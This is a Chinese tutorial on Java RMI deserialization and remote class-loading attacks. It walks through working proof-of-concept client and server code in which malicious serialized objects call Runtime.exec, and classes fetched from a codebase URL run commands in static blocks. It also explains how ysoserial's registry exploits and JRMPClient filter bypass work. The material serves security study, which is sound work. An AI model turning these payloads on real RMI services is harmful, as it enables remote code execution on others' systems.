Java RMI反序列化總結篇-01

1.java rmi反序列化

RMI 允許一個應用程序訪問另外一個服務器或虛擬機上的對象,方法和服務,它使遠程方法調用就像在本地調用一樣簡單。它為用戶屏蔽了底層的網絡傳輸細節,使用的時候只需適當處理異常即可。所以 RMI 是非常容易使用的,但同時是非常強大的。

RMI 協議的數據序列化目前支持以下兩種模式:
1.基于 JDK 本身的對象序列化
2.基于 HTTP 協議的數據序列化

關于rmi客戶端和服務端通信的過程,java的方法都實現在rmi服務端,客戶端實際上是通過訪問rmi注冊表拿到stub,然后再通過它調用服務端方法,那么調用方法時要傳遞參數,參數可以為一般類型,也可以為引用類型,那么如果為引用類型,就能夠利用服務端已經有的gaget chain來打server,因為參數實際上是序列化傳輸的,那么數據到達服務端后必定會經過反序列化。

Stub和Skeleton:這兩個的身份是一致的,都是作為代理的存在。

客戶端:

RMIClient.java

package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI惡意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);// 獲取遠程對象的引用Services services = (Services) registry.lookup("Services");PublicKnown malicious = new PublicKnown();malicious.setParam("calc");malicious.setMessage("haha");// 使用遠程對象的引用調用對應的方法System.out.println(services.sendMessage(malicious));}
}

此時客戶端要打服務端,因此要將惡意的對象作為參數傳遞到服務端,此時序列化的對象將在服務端反序列化

publicKnown.java

package com.longofo.javarmi;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class PublicKnown extends Message implements Serializable {private static final long serialVersionUID = 7439581476576889858L;private String param;public void setParam(String param) {this.param = param;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.param);}
}

此時要傳遞的惡意對象肯定要符合服務端參數類型的定義

服務端:

RMIServer.java

//RMIServer.java
package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服務端** @param args*/public static void main(String[] args) {try {// 實例化服務端遠程對象ServicesImpl obj = new ServicesImpl();// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {// 創建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//綁定遠程對象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

服務端在創建注冊表服務時,在返回的RegistryImpl中調用setup,實際上封裝了一個UnicastServerRef,在setup函數中,RegistryImpl由于繼承RemoteServer,又間接繼承自RemoteObject,因此其具有RemoteRef這個filed,即this.ref,此時就把UnicastServerRef賦值給ref(子類對象指向父類引用),接著調用UnicastServerRefe的xportObject把this.ref傳入,跟進exportObject可以發現這里實際是服務端為RegistryImpl用Remteinvocationhandler創建了一個動態代理,其中被代理的是new的一個UnicastRef,從instanceof RemoteStub可以猜到這個Remote的代理對象應該就是給客戶端用的Stub,接著調用this.setSkeleton設置RegisImpl為服務端的skel,即與客戶端通信的骨架,流程如下圖所示:

從圖中就能看到RegisImpl最終傳到了createSkeleton函數中,此時得到RegistryImpl類賦給var1,接著拼接上_Skel作為RegistryImpl_skel作為真正服務端接受客戶端請求(lookup,rebind等)調用函數的類,對應的文件就是

?到這里服務端就設置完了骨架 ,接著下一步封裝完畢后,接著就到了連接層了,這個target包含了RegisImpl、UnicastServerRef、創建的stub,LiveRef的id和一個boolean值,此時再調用this.ref,即LiveRef的exportObject傳入Target,這里就到了TCPTranport的exportObject,里面調用listen來等待客戶端的連接,最終獲得一個可以發布服務的TCPEndpoint對象,并調用該對象把服務(Target)暴露出去

?jdk里面也已經說了RemoteRef代表對遠程對象具體的具體處理,客戶端拿著RemoteStub使用遠程引用來調用遠程對象的方法。

ServiceImpl.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {public ServicesImpl() throws RemoteException {}@Overridepublic Object sendMessage(Message msg) throws RemoteException {return msg.getMessage();}
}
Service.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {Object sendMessage(Message msg) throws RemoteException;
}
Message.javapackage com.longofo.javarmi;import java.io.Serializable;public class Message implements Serializable {private static final long serialVersionUID = -6210579029160025375L;private String msg;public Message() {}public String getMessage() {System.out.println("Processing message: " + msg);return msg;}public void setMessage(String msg) {this.msg = msg;}
}

所以這里服務端存在漏洞的即為ServicesImpl類,其存在一個方法其入口參數為Message對象,并且這里Message這個類是繼承自Serializable,即可以進行反序列化。服務端通過bind()函數綁定遠程對象到RMI注冊表中,此時客戶端即可以訪問RMI注冊表拿到stub,即可調用服務端的方法,比如sendMessage()函數

此時先啟動RMIServer.java,然后再啟動RMIClient.java,即可達到打rmi服務端的效果,這里jdk版本為1.6

在服務端的readObject處下斷點,即可看到調用棧,經過ConnectHandler后就能夠確定服務端要反序列化的類名

?接下來就是通過反射調用PublicKnown類的readObject方法 ,進而到達readObject內部的命令執行代碼段

所以這里客戶端肯定要知道服務端有哪些可以調用的方法,以及服務端被調用的方法入口參數要滿足要求,這里在現實情況中應該很少能夠遇到,這里肯定只作為例子來學習。當然反序列化的類可以是本地的gadget,這個例子的測試沒有jdk版本限制,在jdk1.8.202也可以成功,這些限制太大了。在這里實際上就是拿到ServicesImpl的引用,lookup函數查找的也一定是存在與rmi注冊表中存在的對象并拿到引用,并不是直接拷貝了一份該類的對象到本地來,拿到引用之后再去調用該類的方法,傳參到服務端,最后反序列化執行在服務端。

tip:服務端要綁定到rmi 注冊表的對象實現的接口必須繼承自remote,而該對象所對應的接口實現類必須繼承UnicastRemoteObject,否則需要使用靜態方法exportObject處理該對象

在服務端創建注冊標服務時調用createRegistry,此時服務端執行后返回的是類RegistryImpl的實例,然后調用其bind

??

其中bindings就是一個hashtable,那么實際上在服務端bind的時候就是單純的執行一個放入遠程對象到hashtable中的操作

那么客戶端調用getRegistry實際上根據jdk源碼注釋可以看到拿到的是遠程注冊表服務的引用,稱作為stub

?然而客戶端最終返回的不是RegistryIMPL,返回的是一個動態代理封裝過后的Registry對象

?所以這里說明用的是注冊表對象的遠程引用,也就是RegistryImpl_stub,對應的rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class中客戶端可以執行的操作如下所示:

new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

?一共有5種,那么實際在通信過程中對應的就是服務端的RegistryImpl_skel,其中dispatch方法中將根據stub傳輸的var3變量,也就是客戶端想要執行的方法對應的標識值來進入不同的分支進行處理,var4就是標識stub和skel的hash,這樣通信就對應起來了。

放一張seebug的圖, 所以客戶端要訪問遠程對象就由服務端首先把遠程對象注冊到注冊表,然后客戶端先訪問注冊表拿到遠程對象的stub以后,此時就可以像訪問本地一樣調用遠程對象方法,底層由stub再接受客戶端的參數和方法,然后就是stub作為代理再幫客戶端請求服務端,把參數和方法都發送到服務端,服務端接收到參數和方法后,在服務端進行執行,再把返回結果給客戶端的stub,stub再給客戶端,所以客戶端實際上看不到底層的通信邏輯,這種架構設計已經屏蔽了底層通信。

?

?ysoserial中有對注冊表的直接攻擊為,RMIRegistryExploit,其中調用registry的bind來綁定遠程對象,remote是用cc1封裝的一個代理,其中invocationhandler用的就是annotationinvocationahandler,把cc1通過調用createMap放到map再給annotationinvocationahandler的membervalues

?

然后創建動態代理,接口就是Remote.class,handler就是annotationinvocationhandler,最后再Remote.class.cast將動態代理轉換為Remote對象,那么做到這一步,外層封裝的看起來就是一個正常的遠程對象,精華就在handler中,最后構造好Remote對象以后,再通過調用bind將其綁定到注冊表中,就能夠觸發注冊表端的RMI反序列化。

這里注意一下如果想打注冊表,但是AnnotaionInvocationhandler被過濾了,也就是此時用該類作為動態代理的handler不能用了,所以此時就要找到其他的handler,并且要把最終的gadget放到里面,ysoserial中的payloads/JRMPClient就實現了該功能用來進行繞過:

?這里要封裝一個Registry對象,而Registry是繼承Remote類的

所以Registry可以被作為遠程對象進行注冊表綁定,這里的handler用的是RemoteObjectInvocationHandler作為動態代理的handler,封裝這個handler需要objid(標識唯一的遠程對象),而該類構造函數需要傳一個RemoteRef

所以這里又封裝了一個UnicastRef,作為注冊端反序列化的對象(反序列化它然后回連JRMPListener),因為UnicastRef實現RemoteRef接口

?客戶端獲取服務端Rgistry代理

?客戶端通過指定host和port來獲取遠程對象的引用,根絕jdk注釋也就是獲得reference(a stub)

這里把注冊表的host和port封裝進UnicastRef,然后構造一個RemoteRef,接著再用動態代理來代理Registry,其中RemoteObjectInvocationHandler中包含著UnicastRef,即遠程注冊表的host和port,這樣客戶端便有了服務端的RegistryImpl的代理,即客戶端有了RegistryImpl_Stub。

2.java rmi 動態加載類

2.1RMI服務端打客戶端

java rmi動態加載類,其實就是通過指定codebase來制定遠程的類倉庫,我們知道java在運行過程中需要類的時候可以在本地加載,即在classpath中找,那么也可以通過codebase來指定遠程庫。默認是不允許遠程加載的,如需加載則需要安裝RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需為false,當然這也是受jdk版本限制的。

RMIClient.javapackage com.longofo.javarmi;import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient1 {/*** Java RMI惡意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);// 獲取遠程對象的引用Services services = (Services) registry.lookup("Services");Message message = new Message();message.setMessage("hahaha");services.sendMessage(message);}
}

此時RMI客戶端正常操作,傳入Message對象,并調用服務端sendMessage方法

ServiceImpl.javapackage com.longofo.javarmi;import com.longofo.remoteclass.ExportObject;import java.rmi.RemoteException;public class ServicesImpl1 implements Services {@Overridepublic ExportObject sendMessage(Message msg) throws RemoteException {return new ExportObject();}
}

可以看到此時服務端實現Services接口的類的sendMessage方法返回值為ExportObject類型,即該類的實例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//package com.longofo.remoteclass;import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;public class ExportObject implements ObjectFactory, Serializable {private static final long serialVersionUID = 4474289574195395731L;public ExportObject() {}public static void exec(String cmd) throws Exception {String sb = "";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr;String lineStr;for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {}inBr.close();in.close();}public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}static {try {exec("calc");} catch (Exception var1) {var1.printStackTrace();}}
}

這里實際上服務端返回的即為該ExportObject類的實例,該類是實現了對象工廠類,并且可以序列化的,所以可以通過jrmp進行傳輸,我們只需要將其編譯放在服務器端指定的codebase地址即可等待客戶端來加載,當客戶端遠程加載該類時將會實例化該類,即調用該類的static代碼段

RMIServer.java

package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer1 {public static void main(String[] args) {try {// 實例化服務端遠程對象ServicesImpl1 obj = new ServicesImpl1();// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);//設置java.rmi.server.codebaseSystem.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry reg;try {// 創建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//綁定遠程對象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

此時RMIServer端指定了客戶端codebase的地址,即客戶端反序列化ExportObject時需要加載該類,此時將通過服務端提供的codebase來加載

此時先啟動托管遠程類的服務端,將ExportObject.class放在codebase指定的位置,這里要注意包名要和目錄名相一致

然后啟動RMI服務端,啟動RMI客戶端,即完成了客戶端要調用sendMessage方法,此時服務端返回了ExportObject對象,客戶端發現返回的是ExportObject對象后,那將在本地的classpath中沒找到該類,則通過服務端指定的codebase來加載該類,加載該類的后將實例化該類,從而觸發calc

此時托管class的http服務端也收到了加載class文件的請求

這種方法相對于第一種來說打客戶端只需要拿到RMI中對象的引用,調用服務器上的方法即可,這里服務器是攻擊者控制的,只需要在方法中返回惡意對象即可,當然如前面所說,這里是需要securitManager和useCodebaseOnly為false以及jdk限制的,這里是服務端指定javacodebase的。

2.2RMI客戶端打服務端

RMIClient.java

package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject1;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient2 {public static void main(String[] args) throws Exception {System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);// 獲取遠程對象的引用Services services = (Services) registry.lookup("Services");ExportObject1 exportObject1 = new ExportObject1();exportObject1.setMessage("hahaha");services.sendMessage(exportObject1);}
}

上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考,客戶端來加載codebase地址的class文件,那么從上面這段代碼可以看到此時是客戶端指定了codebase地址,那么當然服務端就得從客戶端指定的codebase來加載class了,可以看到此時客戶端調用服務端的sendMessage函數傳遞的是ExportObject1對象

ExportObject1.java

package com.longofo.remoteclass;import com.longofo.javarmi.Message;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;public class ExportObject1 extends Message implements ObjectFactory, Serializable {private static final long serialVersionUID = 4474289574195395731L;public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

此時該類繼承自Message類,實現對象工廠接口,并且支持序列化

ServiceImpl.java

package com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {public ServicesImpl() throws RemoteException {}@Overridepublic Object sendMessage(Message msg) throws RemoteException {return msg.getMessage();}
}

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer2 {/*** Java RMI 服務端** @param args*/public static void main(String[] args) {try {// 實例化服務端遠程對象ServicesImpl obj = new ServicesImpl();// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);// 創建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//綁定遠程對象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

可以由以上代碼看到,此時RMI服務端綁定的services接口對應的ServicesImpl.java中sendMessage函數將會調用入口參數Message類型對象的getmessage函數,這里方法體內容是什么并不重要,因為這種打法和第一節中的打法一樣,都是打RMI服務端,區別是第一節是利用RMI服務端本地的gaget chain,而這里則是利用遠程類加載,通過客戶端指定的codebase來打RMI服務端。

?所以此時codebase的地址也將受到請求ExportObject1.class的請求,因為服務端發現穿送過來的ExportObject1類classpath里面沒有,所有就會通過客戶端指定的codebase加載,從而實例化該惡意ExportObject1類,執行static代碼塊的命令

所以上面兩個例子,客戶端打RMI服務端,以及RMI服務端打客戶端都是利用RMI的調用過程:

1.客戶端打RMI服務端,客戶端調用服務端方法,此時傳給服務端的的參數可控則可能存在風險(這種條件挺難滿足)

2.RMI打客戶端,RMI服務端返回給客戶端的結果是服務端可控的,則該結果則可能存在風險(lookup可控,并且惡意RMI服務端也要自己實現)

和以前分析其他漏洞時的邏輯還是比較相似的,可控即可能存在風險

關于客戶端和服務端互打里面,因為要傳遞序列化的對象,序列化的過程中要知道serialVersionUID,要傳遞的反序列化的對象的包名,類名必須要與服務端一致,這里serialVersionID在訪問的文章審核中... - FreeBuf網絡安全行業門戶這篇文章中說第一次不傳遞id參數服務端將會返回id值,但是我本地測jdk1.6.01這里客戶端不加id值,也能夠打成功。

RMI-JRMP

上面說的RMI通信過程中假設客戶端在與RMI服務端通信中,雖然也是在JRMP協議上進行通信,嘗試傳輸序列化的惡意對象到服務端,此時服務端若也返回客戶端一個惡意序列化的對象,那么客戶端也可能被攻擊,利用JRMP就可以利用socket進行通信,客戶端直接利用JRMP協議發送數據,而不用接受服務端的返回,因此這種攻擊方式也更加安全。

比如服務端此時啟用RMI服務,那么就可以用yso的exploit/JRMPClient來打rmi服務端

jdk1.7.0_25

如有錯誤,務必請指出。

參考:https://www.anquanke.com/post/id/194384#h3-3

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/12072.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/12072.shtml
英文地址,請注明出處:http://en.pswp.cn/web/12072.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Kubernetes集群安裝

Kubernetes集群安裝 環境準備 192.168.1.53 k8s-master 192.168.1.52 k8s-node-1 192.168.1.51 k8s-node-2 設置三臺機器的主機名&#xff1a; Master上執行&#xff1a; [rootlocalhost ~]# hostnamectl --static set-hostname k8s-masterNode1上執行&#xff1a; [ro…

vue3+vite項目部署服務器,選擇非根目錄訪問

背景 vue3vite項目&#xff0c;需要部署服務器。 但是根目錄已經部署了另外一個項目A了&#xff0c;這個時候要在部署另外一個項目B。 問題 比如你的地址是http://test.com 之前直接輸入http://test.com即可訪問A項目 如果B項目也這么干的話就沖突了 訪問A&#xff1a;http…

哪款骨傳導耳機最值得入手?精選5款頂尖配置的骨傳導耳機,閉眼入也不踩雷!

作為一名有著多年工作經驗的數碼博主&#xff0c;我見證了無數因盲目追求新穎而引發的聽力問題。在此&#xff0c;我必須鄭重提醒大家&#xff0c;雖然市面上充斥著眾多聲稱能提供卓越音質和佩戴舒適度的骨傳導耳機品牌&#xff0c;但它們之間存在大量劣質產品&#xff0c;這類…

centos7安裝zabbix-server

zabbixan-server安裝 環境安裝zabbix安裝zabbix配置apachezabbix-UI前端配置修改zabbix為中文語言 環境 準備&#xff1a; centos7系統、mysql數據庫/MariaDB數據庫 mysql數據庫可參照&#xff1a;https://blog.csdn.net/weixin_61367575/article/details/138774428?spm1001.…

算法-卡爾曼濾波之卡爾曼濾波的第二個方程:預測方程(狀態外推方程)

在上一節中&#xff0c;使用了靜態模型&#xff0c;我們推導出了卡爾曼濾波的狀態更新方程&#xff0c;但是在實際情況下&#xff0c;系統都是動態&#xff0c;預測階段&#xff0c;前后時刻的狀態是改變的&#xff0c;此時我們引入預測方程&#xff0c;也叫狀態外推方程&#…

企業為什么進行大數據遷移以及注意事項

在當今數字化時代&#xff0c;數據的遷移成為了企業優化其數據架構、提高數據處理能力、確保業務連續性和數據安全的關鍵步驟。企業可能出于多種原因&#xff0c;如成本效益、性能提升、系統升級、數據集中管理或云服務集成等&#xff0c;選擇將數據從一個存儲系統遷移到另一個…

Spring Boot 整合訊飛星火3.5通過接口Api接口實現聊天功能(首發)復制粘貼即可使用,后續更新WebSocket實現聊天功能

程序員必備網站&#xff1a; 天夢星服務平臺 (tmxkj.top)https://tmxkj.top/#/ 1.pom.xml <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.72</version></dependency><depen…

html5關于WebSocket的一些特點與用例

WebSocket通信機制是一種在單個TCP連接上進行全雙工通信的協議&#xff0c;它允許服務器主動向客戶端推送數據&#xff0c;而無需等待客戶端的請求。以下是WebSocket通信的主要機制&#xff1a; 握手協議&#xff1a;WebSocket通信的第一步是通過HTTP協議進行握手。當客戶端發…

C++ QT設計模式:訪問者模式

基本概念 訪問者模式&#xff08;Visitor Pattern&#xff09;是一種行為型設計模式&#xff0c;它允許你在不改變被訪問類的前提下&#xff0c;定義對其進行操作的新操作。 實現的模塊有&#xff1a; ObjectStructure&#xff08;對象結構&#xff09;&#xff1a;用于存儲…

輕松拿下指針(5)

文章目錄 一、回調函數是什么二、qsort使用舉例三、qsort函數的模擬實現 一、回調函數是什么 回調函數就是?個通過函數指針調?的函數。 如果你把函數的指針&#xff08;地址&#xff09;作為參數傳遞給另?個函數&#xff0c;當這個指針被?來調?其所指向的函數 時&#x…

計算模型的邊界

https://github.com/libigl/libigl.git 這是幾何計算庫&#xff0c;可以計算出模型的邊界 #define _CRT_SECURE_NO_WARNINGS#include <iostream>#include <igl/boundary_loop.h>#include <igl/list_to_matrix.h>int main(){std::vector<std::vector<…

肺部營養“救星”,讓每次呼吸更自由

?#肺科營養#朗格力#班古營養#復合營養素#肺部營養# 正常的健康人,每天自由幸福的呼吸。但是對于肺病患者來說,特別是慢阻肺人群,每一次呼吸都可能是一場挑戰,每一口氣都顯得彌足珍貴。 肺病患者號稱沉默的“呼吸殺手”,它雖然沉默,但不代表它沒能力,除了引起肺功能下降,氧氣…

云商店如何讓更多企業摘到技術普惠的“果實”?

文 | 智能相對論 作者 | 沈浪 現階段&#xff0c;越是工業體系發達的地區&#xff0c;越需要加速技術普惠的步伐。比如&#xff0c;在蘇州&#xff0c;華為云就在聯合當地政府、企業伙伴打造以華為云云商店為重要鏈接的智能化商業增長底座。 華為云云商店以“電商式”的購物…

Git學習——遷移單一倉庫至其他代碼托管平臺

Git學習——遷移單一倉庫至其他代碼托管平臺 簡介流程總結 簡介 因需遷移單一代碼倉庫至其他代碼托管平臺&#xff0c;要遷移的包括倉庫內容以及所有歷史記錄和推送日志。 本文中的方法同樣適用于在同一代碼托管平臺中克隆倉庫。 流程 1. 創建新倉庫&#xff1a; 在目的平臺…

軟件需求規格文檔 (SRS) 模版

文章目錄 軟件需求規格文檔 (SRS) - 范例1. 引言1.1 目的1.2 范圍1.3 定義、縮寫和術語1.4 參考文獻1.5 總體描述 2. 系統概述2.1 系統環境2.2 系統功能概述2.3 用戶特性2.4 假設與約束 3. 功能需求3.1 用戶身份驗證模塊3.1.1 總體概述3.1.2 具體需求3.1.2.1 登錄功能描述3.1.2…

OpenAI春季發布會-免費多模態GPT4O-簡介

前言 2024.5.14&#xff0c;OpenAI宣布即將發布一款性能更為強大的大模型GPT4o&#xff0c;雖然沒有爆出些超級酷炫無敵吊炸天的新玩意&#xff0c;但是這次的多模態模型&#xff0c;大家可以免費用了~~&#xff08;但是&#xff09; 雖然是免費使用&#xff0c;但官方發布會上…

逆向學習記錄--第一天

NSSCTF工坊逆向綜合基礎第二題 考查知識點&#xff1a;ida的使用與編程能力 wp&#xff1a; 運行一下&#xff0c;沒有東西&#xff1b; 查殼是64位&#xff0c;沒有殼 直接ida打開 代碼解析&#xff1a;輸入flag&#xff0c;對flag進行用key進行輪換之后再加12&#xff…

鴻蒙 DevEcoStudio:用戶名密碼獲取保存

【使用首選項實現用戶名密碼保存獲取】 打開src/main/ets/entryability路徑下的EntryAbility.ts文件 在 export default class EntryAbility extends UIAbility {onCreate(want, launchParam) {hilog.info(0x0000, testTag, %{public}s, Ability onCreate);下邊添加內容&…

C++:左值(引用)右值(引用)

〇、前言 本文會討論C中的左值&#xff0c;右值&#xff0c;左值引用&#xff0c;右值引用&#xff0c;以及會理清它們之間的關系。 一、左值與右值 &#xff08;一&#xff09;概述 1. 左值是一般指表達式結束后依然存在的持久化對象。右值指表達式結束時就不再存在的臨時…

334_C++_std::bind中使用shared_from_this()

std::bind(&HttpClient::getPwd, shared_from_this(), std::placeholders::_1, std::placeholders::_2);[ HttpClient繼承自NetObj,NetObj是父類,NetObj受到std::shared_pt